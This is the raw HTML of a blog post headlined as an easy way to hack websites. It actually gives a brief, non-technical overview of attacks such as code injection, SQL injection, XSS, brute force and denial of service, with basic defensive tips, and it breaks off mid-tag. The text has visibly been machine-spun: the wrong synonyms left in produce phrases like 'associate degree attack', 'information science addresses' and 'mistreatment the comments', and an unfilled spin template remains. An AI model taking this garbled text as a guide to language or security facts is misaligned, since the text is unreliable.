<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="font-size: 15px;">As per as </span><span class="qtiperar" id="tip_1" style="cursor: pointer; font-size: 15px;" title="i know|i do know">I do know</span><span style="font-size: 15px;"> </span><span class="qtiperar" id="tip_2" style="cursor: pointer; font-size: 15px;" title="about|concerning|regarding">regarding</span><span style="font-size: 15px;"> hackers mind </span><span class="qtiperar" id="tip_3" style="cursor: pointer; font-size: 15px;" title="due to|because of|owing to|as a result of|thanks to|attributable to">owing to</span><span style="font-size: 15px;"> my </span><span class="qtiperar" id="tip_4" style="cursor: pointer; font-size: 15px;" title="ethical|moral">moral</span><span style="font-size: 15px;"> </span><span class="qtiperar" id="tip_5" style="cursor: pointer; font-size: 15px;" title="experience|expertise">expertise</span><span style="font-size: 15px;">. </span>these days<span style="font-size: 15px;"></span> progressing<span style="font-size: 15px;"></span><span class="qtiperar" id="tip_8" style="cursor: pointer; font-size: 15px;" title="going to|getting to|progressing to|attending to|reaching to|planning to|aiming to|about to"> to</span><span style="font-size: 15px;"> share with you all </span><span class="qtiperar" id="tip_9" style="cursor: pointer; font-size: 15px;" title="about|concerning|regarding">regarding</span><span style="font-size: 15px;"> the </span><span class="qtiperar" id="tip_10" style="cursor: pointer; font-size: 15px;" title="methods|ways|strategies">ways</span><span style="font-size: 15px;"> of </span><span class="qtiperar" id="tip_11" style="cursor: pointer; font-size: 15px;" title="website|web site">website</span><span style="font-size: 15px;"> hacking. Hackers use </span><span class="qtiperar" id="tip_12" style="cursor: pointer; font-size: 15px;" title="different|totally different|completely different">totally different</span><span style="font-size: 15px;"> </span><span class="qtiperar" id="tip_13" style="cursor: pointer; font-size: 15px;" title="methods|ways|strategies">ways</span><span style="font-size: 15px;"> </span><span class="qtiperar" id="tip_14" style="cursor: pointer; font-size: 15px;" title="to target|to focus on">to focus on</span><span style="font-size: 15px;"> </span><span class="qtiperar" id="tip_15" style="cursor: pointer; font-size: 15px;" title="a website|an internet site|a web site">an internet site</span><span style="font-size: 15px;"> or a server to either steal sensitive </span><span class="qtiperar" id="tip_16" style="cursor: pointer; font-size: 15px;" title="information|info|data">info</span><span style="font-size: 15px;"> or use the server resources to spam or do </span><span class="qtiperar" id="tip_17" style="cursor: pointer; font-size: 15px;" title="other|different|alternative">different</span><span style="font-size: 15px;"> malicious activities.</span></span><br /><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"><br /></span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;">Of course, </span><span class="qtiperar" id="tip_18" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="the effects|the consequences|the results">the consequences</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> of such </span><span class="qtiperar" id="tip_19" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="an|Associate in Nursing|AN|associate degree|associate">associate degree</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> attack </span><span class="qtiperar" id="tip_20" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="can be|are often|will be|is|may be">may be</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> devastating, </span><span class="qtiperar" id="tip_21" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="and the|and therefore the|and also the">and also, the</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> worst </span><span class="qtiperar" id="tip_22" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="part|half">half</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> is </span><span class="qtiperar" id="tip_23" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="when they|once they|after they">after they</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> use your server resources to perform </span><span class="qtiperar" id="tip_24" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="different|totally different|completely different">totally different</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> </span><span class="qtiperar" id="tip_25" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="illegal|illegal |amerciable|banned|prohibited|bootleg|black|black-market|contraband|smuggled|criminal|felonious|dirty|ill-gotten|embezzled|misappropriated|extrajudicial|extralegal|nonlegal|hot|illegitimate|illicit|outlaw|outlawed|unlawful|ineligible|misbr">outlawed</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> activities.</span><br /><span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="font-size: 15px;"><br /></span></span><br /><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdBIXB7WcyUPMhSFsWFCfHiZ98LO6E0jyYQXBlUKAmVUwntk7TRdKMoM9S0qe60uf5Od8TwiOOlRWdvWZNa1cOLWunnetN_hSdSc-pYuwtCUFTNO5beXwF3PEjL_gBj8paSiiZDWn9vQ8/s1600/result.jpg" style="margin-left: auto; margin-right: auto;"><img alt="Easy Way To Hack Website in 2016 " border="0" height="295" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdBIXB7WcyUPMhSFsWFCfHiZ98LO6E0jyYQXBlUKAmVUwntk7TRdKMoM9S0qe60uf5Od8TwiOOlRWdvWZNa1cOLWunnetN_hSdSc-pYuwtCUFTNO5beXwF3PEjL_gBj8paSiiZDWn9vQ8/s400/result.jpg" title="Easy-Way-To-Hack-Website-in-2016 " width="400" /></a></td></tr><tr><td class="tr-caption" style="font-size: 12.8px;">Easy Way To Hack Website in 2016 </td></tr></tbody></table><br /><div class="separator" style="clear: both; text-align: center;"><br /></div><span style="font-family: "arial" , "helvetica" , sans-serif;"><br style="font-size: 15px;" /><span style="font-size: 15px;">In this article, </span><span class="qtiperar" id="tip_26" style="cursor: pointer; font-size: 15px;" title="i will|i will be able to|i'll">I will be able to</span><span style="font-size: 15px;"> list </span><span class="qtiperar" id="tip_27" style="cursor: pointer; font-size: 15px;" title="the top|the highest">the highest</span><span style="font-size: 15px;"> </span><span class="qtiperar" id="tip_28" style="cursor: pointer; font-size: 15px;" title="6|six|vi|half dozen|half-dozen">half-dozen</span><span style="font-size: 15px;"> </span><span class="qtiperar" id="tip_29" style="cursor: pointer; font-size: 15px;" title="website|web site">website</span><span style="font-size: 15px;"> security </span><span class="qtiperar" id="tip_30" style="cursor: pointer; font-size: 15px;" title="issues|problems">problems</span><span style="font-size: 15px;"> </span>that you just ought<span style="font-size: 15px;"></span><span class="qtiperar" id="tip_32" style="cursor: pointer; font-size: 15px;" title="should|ought to"> to</span><span style="font-size: 15px;"> </span><span class="qtiperar" id="tip_33" style="cursor: pointer; font-size: 15px;" title="be aware|remember|bear in mind">bear in mind</span><span style="font-size: 15px;"> of.</span></span><br /><span style="font-family: "arial" , "helvetica" , sans-serif;"><br style="font-size: 15px;" /></span><strong style="background-color: white; border: 0px none; color: #222222; font-family: verdana, sans-serif; font-size: 18.6667px; line-height: 22px; list-style: none; margin: 0px; outline: none; padding: 0px;"><span style="color: #3d85c6;">#1.</span><span style="color: #333333;"> Code Injection</span></strong><br /><span style="color: #333333; font-family: "verdana" , sans-serif;"><span style="font-size: 18.6667px; line-height: 22px;"><b><br /></b></span></span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;">Web sites that lack some </span><span class="qtiperar" id="tip_34" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="sort of|kind of|type of|style of|variety of|form of">kind of</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> </span><span class="qtiperar" id="tip_35" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="form|type|kind">kind</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> validation </span><span class="qtiperar" id="tip_36" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="are|ar|area unit|square measure">area unit</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> </span><span class="qtiperar" id="tip_37" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="prone to|susceptible to|vulnerable to|liable to|at risk of">liable to</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> code injection. </span><span class="qtiperar" id="tip_38" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="this occurs|this happens">this happens</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> </span><span class="qtiperar" id="tip_39" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="when|once">once</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> a code is injected into a </span><span class="qtiperar" id="tip_40" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="computer program|computer virus|bug|malicious program|trojan horse|worm">malicious program</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> or </span><span class="qtiperar" id="tip_41" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="a web|an internet|an online">an internet</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> application with the intention </span><span class="qtiperar" id="tip_42" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="of changing|of adjusting|of fixing">of adjusting</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> the course of execution, </span><span class="qtiperar" id="tip_43" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="to gain|to realize|to achieve">to realize</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> access to </span><span class="qtiperar" id="tip_44" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="an|Associate in Nursing|AN|associate degree|associate">associate degree</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> organization’s resources. These </span>sorts of code<span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> injections </span><span class="qtiperar" id="tip_46" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="can be|are often|will be|is|may be">may be</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> </span><span class="qtiperar" id="tip_47" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="disastrous|black|calamitous|fatal|fateful|unfortunate">fatal</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;">. </span><span class="qtiperar" id="tip_48" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="they can|they will|they'll">they'll</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> </span><span class="qtiperar" id="tip_49" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="range|vary">vary</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> from </span><span class="qtiperar" id="tip_50" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="totally|wholly|entirely|completely|all|altogether|whole">completely</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> destroying </span><span class="qtiperar" id="tip_51" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="a website|an internet site|a web site">an internet site</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> to stealing valuable user </span><span class="qtiperar" id="tip_52" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="information|info|data">info</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;">.</span><br /><span style="font-family: "arial" , "helvetica" , sans-serif;"><br style="font-size: 15px;" /></span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;">In 2013, hackers managed to steal over $100,000 from </span><span class="qtiperar" id="tip_53" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="an|Associate in Nursing|AN|associate degree|associate">associate degree</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> ISP </span><span class="qtiperar" id="tip_54" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="that is|that's">that's</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> </span><span class="qtiperar" id="tip_55" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="based|based mostly|primarily based">based mostly</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> in</span><span class="qtiperar" id="tip_56" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="california|California|Golden State|CA|Calif.|American state">American state</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;">.so staying safe from code injection </span><span class="qtiperar" id="tip_57" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="is a|may be a|could be a">may be a</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> </span><span class="qtiperar" id="tip_58" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="must|should">should</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;">. </span><span class="qtiperar" id="tip_59" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="to protect|to guard|to shield|to safeguard">to shield</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> your </span><span class="qtiperar" id="tip_60" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="website|web site">web site</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> from </span><span class="qtiperar" id="tip_61" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="this type|this sort|this kind">this sort</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> of attack, </span><span class="qtiperar" id="tip_62" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="you need|you would like|you wish">you wish</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> </span><span class="qtiperar" id="tip_63" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="to prevent|to stop|to forestall">to forestall</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> any untrusted input </span><span class="qtiperar" id="tip_64" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="such as|like|like">like</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> invalid characters from </span><span class="qtiperar" id="tip_65" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="getting to|going to|progressing to|attending to|reaching to|planning to|aiming to|about to">planning to</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"> your SQL </span><span class="qtiperar" id="tip_66" style="cursor: pointer; font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;" title="database|information|info">info</span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;">.</span><br /><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: 15px;"><br /></span><span style="background-color: white; border: 0px none; color: #222222; font-family: "verdana" , sans-serif; font-size: 14pt; line-height: 22px; list-style: none; margin: 0px; outline: none; padding: 0px;"><strong style="border: 0px none; list-style: none; margin: 0px; outline: none; padding: 0px;"><span style="color: #3d85c6;">#2.</span><span style="color: #333333;"> SQL Injection</span></strong></span><span style="color: #8b8b8b; font-family: "myriadpro regular 0" , "helvetica" , sans-serif; font-size: 15px; text-align: center;"> </span><br /><span style="color: #8b8b8b; font-family: "myriadpro regular 0" , "helvetica" , sans-serif; font-size: 15px; text-align: center;"><br /></span><span style="font-family: "arial" , "helvetica" , sans-serif;">SQL injection <span class="qtiperar" id="tip_1" style="cursor: pointer;" title="is a|may be a|could be a">may be a</span> code injection technique <span class="qtiperar" id="tip_2" style="cursor: pointer;" title="that is|that's">that's</span> <span class="qtiperar" id="tip_3" style="cursor: pointer;" title="used to|wont to|accustomed">want to</span> manipulate a website’s <span class="qtiperar" id="tip_4" style="cursor: pointer;" title="database|information|info">information</span>.<span class="qtiperar" id="tip_5" style="cursor: pointer;" title="this form|this type|this kind|this manner|this way">this way</span> of attack <span class="qtiperar" id="tip_6" style="cursor: pointer;" title="is used|is employed">is employed</span> by hackers <span class="qtiperar" id="tip_7" style="cursor: pointer;" title="to target|to focus on">to focus on</span> dynamic CMS information bases <span class="qtiperar" id="tip_9" style="cursor: pointer;" title="such as|like|like">like</span>WordPress to steal data and <span class="qtiperar" id="tip_10" style="cursor: pointer;" title="other|different|alternative">different</span> valuable <span class="qtiperar" id="tip_11" style="cursor: pointer;" title="information|info|data">info</span>.<br />SQL injection <span class="qtiperar" id="tip_12" style="cursor: pointer;" title="is also|is additionally">is additionally</span> <span class="qtiperar" id="tip_13" style="cursor: pointer;" title="the most|the foremost">the foremost</span> common <span class="qtiperar" id="tip_14" style="cursor: pointer;" title="type of|sort of|kind of|style of|variety of|form of">form of</span> application layer attack techniques that used <span class="qtiperar" id="tip_16" style="cursor: pointer;" title="today|nowadays|these days">nowadays</span>. <span class="qtiperar" id="tip_17" style="cursor: pointer;" title="this type|this sort|this kind">this sort</span> of attack affects <span class="qtiperar" id="tip_18" style="cursor: pointer;" title="web|net|internet">net</span> applications that <span class="qtiperar" id="tip_19" style="cursor: pointer;" title="are|ar|area unit|square measure">ar</span> improperly coded and <span class="qtiperar" id="tip_20" style="cursor: pointer;" title="allows|permits">permits</span> the hacker to inject SQL commands into any login <span class="qtiperar" id="tip_21" style="cursor: pointer;" title="form|type|kind">type</span>, <span class="qtiperar" id="tip_22" style="cursor: pointer;" title="which|that">that</span> <span class="qtiperar" id="tip_23" style="cursor: pointer;" title="allows|permits">permits</span> them <span class="qtiperar" id="tip_24" style="cursor: pointer;" title="an easy|a simple|a straightforward">a straightforward</span> access to <span class="qtiperar" id="tip_25" style="cursor: pointer;" title="the data|the info|the information">the information</span> <span class="qtiperar" id="tip_26" style="cursor: pointer;" title="that is|that's">that's</span> <span class="qtiperar" id="tip_27" style="cursor: pointer;" title="held|control|command">command</span> <span class="qtiperar" id="tip_28" style="cursor: pointer;" title="within|inside|among|at intervals">at intervals</span> your <span class="qtiperar" id="tip_29" style="cursor: pointer;" title="database|information|info">information</span>.</span><br /><strong style="background-color: white; border: 0px none; color: #222222; font-family: verdana, sans-serif; font-size: 13px; line-height: 22px; list-style: none; margin: 0px; outline: none; padding: 0px;"><span style="border: 0px none; font-size: 14pt; list-style: none; margin: 0px; outline: none; padding: 0px;"><span style="color: #3d85c6;"><br /></span></span></strong><strong style="background-color: white; border: 0px none; color: #222222; font-family: verdana, sans-serif; font-size: 13px; line-height: 22px; list-style: none; margin: 0px; outline: none; padding: 0px;"><span style="border: 0px none; font-size: 14pt; list-style: none; margin: 0px; outline: none; padding: 0px;"><span style="color: #3d85c6;">#3.</span><span style="color: #333333;"> Cross Site Scripting (XSS)</span></span></strong><br /><span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span> <span style="font-family: "arial" , "helvetica" , sans-serif;">XSS <span class="qtiperar" id="tip_30" style="cursor: pointer;" title="is a|may be a|could be a">may be a</span> <span class="qtiperar" id="tip_31" style="cursor: pointer;" title="type of|sort of|kind of|style of|variety of|form of">form of</span> security vulnerability <span class="qtiperar" id="tip_32" style="cursor: pointer;" title="that is|that's">that's</span> found in <span class="qtiperar" id="tip_33" style="cursor: pointer;" title="web|net|internet">net</span> applications, <span class="qtiperar" id="tip_34" style="cursor: pointer;" title="in which|during which|within which">within which</span> a hacker injects a client-side script into <span class="qtiperar" id="tip_35" style="cursor: pointer;" title="trusted|sure|trustworthy |trusty">trustworthy </span>web pages or URLs <span class="qtiperar" id="tip_36" style="cursor: pointer;" title="that allows|that permits|that enables">that permits</span> them to steal sensitive user information<span class="qtiperar" id="tip_37" style="cursor: pointer;" title="data|knowledge|information"></span> or <span class="qtiperar" id="tip_38" style="cursor: pointer;" title="any other|the other">the other</span> <span class="qtiperar" id="tip_39" style="cursor: pointer;" title="data|knowledge|information">information</span>.<br />XSS <span class="qtiperar" id="tip_40" style="cursor: pointer;" title="can also|also can|can even|may also|may">may also</span> <span class="qtiperar" id="tip_41" style="cursor: pointer;" title="allow|permit|enable">enable</span> <span class="qtiperar" id="tip_42" style="cursor: pointer;" title="an|Associate in Nursing|AN|associate degree|associate">Associate in Nursing</span> <span class="qtiperar" id="tip_43" style="cursor: pointer;" title="attacker|aggressor|assailant|assaulter|wrongdoer|offender">offender</span> <span class="qtiperar" id="tip_44" style="cursor: pointer;" title="to manipulate|to control|to govern">to control</span> <span class="qtiperar" id="tip_45" style="cursor: pointer;" title="a web|an internet|an online">an internet</span> page and shows it as if it’s a login screen to the <span class="qtiperar" id="tip_46" style="cursor: pointer;" title="visitors|guests">guests</span>. <span class="qtiperar" id="tip_47" style="cursor: pointer;" title="an|Associate in Nursing|AN|associate degree|associate">Associate in a Nursing</span> example of this attack was discovered to <span class="qtiperar" id="tip_48" style="cursor: pointer;" title="affect|have an effect on">have an effect on</span> WordPress <span class="qtiperar" id="tip_49" style="cursor: pointer;" title="4|four">four</span>.2 comments, <span class="qtiperar" id="tip_50" style="cursor: pointer;" title="which|that">that</span> enabled the attackers to compromise a website mistreatment<span class="qtiperar" id="tip_52" style="cursor: pointer;" title="using|exploitation|victimization|victimisation|mistreatment"></span> the comments.</span><br /><span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span><br /><h2 style="text-align: center;"><span style="color: red; font-family: "arial" , "helvetica" , sans-serif;"><i><u>Easy Way To Hack Website in 2016 </u></i></span></h2><span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span><span style="font-family: "arial" , "helvetica" , sans-serif;"><br />To check for XSS vulnerability, <span class="qtiperar" id="tip_53" style="cursor: pointer;" title="you can|you'll|you'll be able to">you'll</span> use <span class="qtiperar" id="tip_54" style="cursor: pointer;" title="a web|an internet|an online">an internet</span> Vulnerability Scanner. <span class="qtiperar" id="tip_55" style="cursor: pointer;" title="web|net|internet">net</span> Vulnerability Scanner scans your <span class="qtiperar" id="tip_56" style="cursor: pointer;" title="website|web site">website</span> and checks <span class="qtiperar" id="tip_57" style="cursor: pointer;" title="whether|whether or not">whether or not</span> it’s XSS vulnerable or not. <span class="qtiperar" id="tip_58" style="cursor: pointer;" title="it will|it'll">it'll</span> tell <span class="qtiperar" id="tip_59" style="cursor: pointer;" title="you which|you which of them|you which ones">you which of them</span>URLs or scripts <span class="qtiperar" id="tip_60" style="cursor: pointer;" title="are|ar|area unit|square measure">ar</span> <span class="qtiperar" id="tip_61" style="cursor: pointer;" title="vulnerable to|susceptible to|liable to|prone to|at risk of">prone to</span> these attacks <span class="qtiperar" id="tip_62" style="cursor: pointer;" title="so that|in order that|so">in order that</span> <span class="qtiperar" id="tip_63" style="cursor: pointer;" title="you can|you'll|you'll be able to">you'll</span> fix it. WVS <span class="qtiperar" id="tip_64" style="cursor: pointer;" title="will also|also will|will">will</span> check for any SQL injections or <span class="qtiperar" id="tip_65" style="cursor: pointer;" title="any other|the other">the other</span> <span class="qtiperar" id="tip_66" style="cursor: pointer;" title="web|net|internet">net</span> vulnerability.</span><br /><span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span><strong style="background-color: white; border: 0px none; color: #222222; font-family: verdana, sans-serif; font-size: 18.6667px; line-height: 22px; list-style: none; margin: 0px; outline: none; padding: 0px;"><span style="color: #3d85c6;">#4.</span><span style="color: #333333;"> Brute-force attack</span></strong><br /><span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span><span style="font-family: "arial" , "helvetica" , sans-serif;">Brute-force attacks work by <span class="qtiperar" id="tip_1" style="cursor: pointer;" title="guessing|guess|guesswork|shot|dead reckoning|estimate|estimation|approximation|idea">shot</span> your username and <span class="qtiperar" id="tip_2" style="cursor: pointer;" title="password|watchword|word|parole|countersign|positive identification|secret|arcanum">word</span> <span class="qtiperar" id="tip_3" style="cursor: pointer;" title="until|till">till</span> it finds <span class="qtiperar" id="tip_4" style="cursor: pointer;" title="the right|the proper|the correct">the proper</span> combination. Weak passwords <span class="qtiperar" id="tip_5" style="cursor: pointer;" title="can|will">will</span> <span class="qtiperar" id="tip_6" style="cursor: pointer;" title="easily|simply">simply</span> be guessed by this attack, that’s why it’s <span class="qtiperar" id="tip_7" style="cursor: pointer;" title="strongly|powerfully">powerfully</span> <span class="qtiperar" id="tip_8" style="cursor: pointer;" title="recommended|counseled|suggested">suggested</span> to use strong/hard to guess passwords.<br />To protect yourself from this attack is easy; {you <span class="qtiperar" id="tip_9" style="cursor: pointer;" title="can|will">will</span>|you'll|you'll be able to} <span class="qtiperar" id="tip_10" style="cursor: pointer;" title="simply|merely">merely</span> block <span class="qtiperar" id="tip_11" style="cursor: pointer;" title="ip|information science|informatics|information processing|IP|science|scientific discipline">information science</span> addresses that <span class="qtiperar" id="tip_12" style="cursor: pointer;" title="are|ar|area unit|square measure">area unit</span> taking <span class="qtiperar" id="tip_13" style="cursor: pointer;" title="too much|an excessive amount of">an excessive amount of</span> server resources <span class="qtiperar" id="tip_14" style="cursor: pointer;" title="or you|otherwise you">otherwise you</span> can use multi-factor authentication, and don’t forget to use <span class="qtiperar" id="tip_15" style="cursor: pointer;" title="strong|robust|sturdy">sturdy</span> passwords.</span><br /><span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span><span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span><strong style="background-color: white; border: 0px none; color: #222222; font-family: verdana, sans-serif; font-size: 13px; line-height: 22px; list-style: none; margin: 0px; outline: none; padding: 0px;"><span style="border: 0px none; font-size: 14pt; list-style: none; margin: 0px; outline: none; padding: 0px;"><span style="color: #3d85c6;">#5.</span><span style="color: #333333;"> Denial of Service Attack (DoS)</span></span></strong><br /><span style="font-family: "arial" , "helvetica" , sans-serif;"><br />The most <span class="qtiperar" id="tip_16" style="cursor: pointer;" title="notorious|ill-famed|infamous|disreputable">infamous</span> <span class="qtiperar" id="tip_17" style="cursor: pointer;" title="kinds of|sorts of|types of|styles of|varieties of|forms of">types of</span> an attacks <span class="qtiperar" id="tip_18" style="cursor: pointer;" title="are|ar|area unit|square measure">area unit</span> the DoS attacks. <span class="qtiperar" id="tip_19" style="cursor: pointer;" title="simply because|just because">just because</span> any hacker <span class="qtiperar" id="tip_20" style="cursor: pointer;" title="can|will">will</span> bombard the victims <span class="qtiperar" id="tip_21" style="cursor: pointer;" title="website|web site">website</span> with <span class="qtiperar" id="tip_22" style="cursor: pointer;" title="millions of|many|a lot of|lots of|numerous|countless|several|scores of|innumerable|uncountable|immeasurable|ample|countless|legion|several|variant|various|voluminous">innumerable</span> requests, that causes the server to crash. DoS attacks <span class="qtiperar" id="tip_23" style="cursor: pointer;" title="are not|aren't|don't seem to be">don't seem to be</span> hacking attacks, <span class="qtiperar" id="tip_24" style="cursor: pointer;" title="but|however">however</span>, <span class="qtiperar" id="tip_25" style="cursor: pointer;" title="they are|they're">they're</span> <span class="qtiperar" id="tip_26" style="cursor: pointer;" title="simply|merely">merely</span> <span class="qtiperar" id="tip_27" style="cursor: pointer;" title="used to|wont to|accustomed">accustomed</span> take down <span class="qtiperar" id="tip_28" style="cursor: pointer;" title="a website|an internet site|a web site">an internet site</span>. This, after all, <span class="qtiperar" id="tip_29" style="cursor: pointer;" title="of course|in fact|after all"></span>makes <span class="qtiperar" id="tip_30" style="cursor: pointer;" title="the website|the web site">the website</span> go offline and it <span class="qtiperar" id="tip_31" style="cursor: pointer;" title="requires|needs">needs</span> manual intervention from the webmaster to bring it back <span class="qtiperar" id="tip_32" style="cursor: pointer;" title="online|on-line">on-line</span>.</span><br /><br /><span style="font-family: "arial" , "helvetica" , sans-serif;">Moreover, <span class="qtiperar" id="tip_33" style="cursor: pointer;" title="an|Associate in Nursing|AN|associate degree|associate">AN</span> <span class="qtiperar" id="tip_34" style="cursor: pointer;" title="attacker|aggressor|assailant|assaulter|wrongdoer|offender">assailant</span> <span class="qtiperar" id="tip_35" style="cursor: pointer;" title="can also|also can|can even|may also|may">can even</span> send you spam email messages to attack your email account. Since your email account is <span class="qtiperar" id="tip_36" style="cursor: pointer;" title="supplied|provided|equipped">equipped</span> for a free service <span class="qtiperar" id="tip_37" style="cursor: pointer;" title="such as|like|like">like</span> Outlook, <span class="qtiperar" id="tip_38" style="cursor: pointer;" title="you are|you're">you're</span> given a <span class="qtiperar" id="tip_39" style="cursor: pointer;" title="limited|restricted">restricted</span> quota, that limits your account to <span class="qtiperar" id="tip_41" style="cursor: pointer;" title="a certain|a particular|an exact|a precise|a definite|an explicit">a definite</span> <span class="qtiperar" id="tip_42" style="cursor: pointer;" title="amount|quantity">quantity</span> <span class="qtiperar" id="tip_43" style="cursor: pointer;" title="of data|of knowledge|of information">of knowledge</span> <span class="qtiperar" id="tip_44" style="cursor: pointer;" title="that you|that you simply|that you just">that you simply</span> <span class="qtiperar" id="tip_45" style="cursor: pointer;" title="can|will">will</span> send. By spamming your email messages, <span class="qtiperar" id="tip_46" style="cursor: pointer;" title="an|Associate in Nursing|AN|associate degree|associate">AN</span> <span class="qtiperar" id="tip_47" style="cursor: pointer;" title="attacker|aggressor|assailant|assaulter|wrongdoer|offender">assailant</span> <span class="qtiperar" id="tip_48" style="cursor: 